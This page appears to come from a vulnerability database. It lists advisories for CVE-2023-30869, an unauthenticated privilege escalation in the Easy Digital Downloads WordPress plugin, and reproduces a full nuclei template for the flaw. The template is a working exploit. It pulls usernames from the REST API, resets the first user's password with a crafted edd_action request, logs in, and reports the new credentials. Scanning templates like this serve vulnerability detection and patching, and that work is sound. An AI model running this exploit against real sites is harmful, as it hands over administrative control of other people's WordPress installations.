Lucene search
K

Easy Digital Downloads - Privilege Escalation

🗓️ 03 Jun 2026 06:04:49Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 12 Views

Unauthenticated privilege escalation in Easy Digital Downloads plugin versions 3.1 to 3.1.1.4.1.

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2023-30869
2 May 202314:30
circl
CNNVD
WordPress plugin Easy Digital Downloads 授权问题漏洞
2 May 202300:00
cnnvd
CVE
CVE-2023-30869
2 May 202309:46
cve
Cvelist
CVE-2023-30869 WordPress Easy Digital Downloads Plugin 3.1-3.1.1.4.1 is vulnerable to Privilege Escalation
2 May 202309:46
cvelist
EUVD
EUVD-2023-35209
3 Oct 202520:07
euvd
NVD
CVE-2023-30869
2 May 202310:15
nvd
OSV
CVE-2023-30869
2 May 202310:15
osv
Patchstack
WordPress Easy Digital Downloads Plugin 3.1-3.1.1.4.1 is vulnerable to Privilege Escalation
1 May 202300:00
patchstack
Prion
Authentication flaw
2 May 202310:15
prion
Positive Technologies
PT-2023-23024
2 May 202300:00
ptsecurity
Rows per page
id: CVE-2023-30869

info:
  name: Easy Digital Downloads - Privilege Escalation
  author: daffainfo
  severity: critical
  description: |
    Improper Authentication vulnerability in Easy Digital Downloads plugin allows unauth. Privilege Escalation. This issue affects Easy Digital Downloads: from 3.1 through 3.1.1.4.1.
  impact: |
    Unauthenticated attackers can exploit improper authentication in the password reset functionality to reset any user's password and gain administrative access to WordPress sites using Easy Digital Downloads.
  remediation: |
    Update Easy Digital Downloads plugin to a version newer than 3.1.1.4.1 that properly authenticates password reset requests and prevents unauthorized privilege escalation.
  reference:
    - https://patchstack.com/articles/critical-easy-digital-downloads-vulnerability?_s_id=cve
    - https://patchstack.com/database/vulnerability/easy-digital-downloads/wordpress-easy-digital-downloads-plugin-3-1-1-4-1-unauthenticated-privilege-escalation-vulnerability?_s_id=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30869
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-30869
    cwe-id: CWE-287
    epss-score: 0.31349
    epss-percentile: 0.96865
    cpe: cpe:2.3:a:awesomemotive:easy_digital_downloads:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: awesomemotive
    product: easy_digital_downloads
    framework: wordpress
    publicwww-query: "/wp-content/plugins/easy-digital-downloads/"
  tags: cve,cve2023,wordpress,wp,wp-plugin,awesomemotive,easy_digital_downloads,auth-bypass,intrusive,vkev

variables:
  password: "{{rand_base(8)}}"

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{route}}"

    attack: clusterbomb
    payloads:
      route:
        - "wp-json/wp/v2/users"
        - "?rest_route=/wp/v2/users"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "[{\"id", "name\":")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: username
        internal: true
        json:
          - '.[0].name'

  - raw:
      - |
        GET /?edd_action=user_reset_password&user_login={{username}}&pass1={{password}}&pass2={{password}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header,"wp-resetpass-")'
          - 'status_code == 302'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Login

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(header,"wordpress_logged_in","/wp-admin")'
          - 'status_code == 302'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"Username: " + username + ". Password: "+ password'
# digest: 4b0a004830460221009011a9faa206f91fea3f91362d6288149605cca5e5abdd5554635cd1bc1068ef0221008786506e109f8f413f52f40b8237b492cb28b85afbdc054d2ddbef14a2021801:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation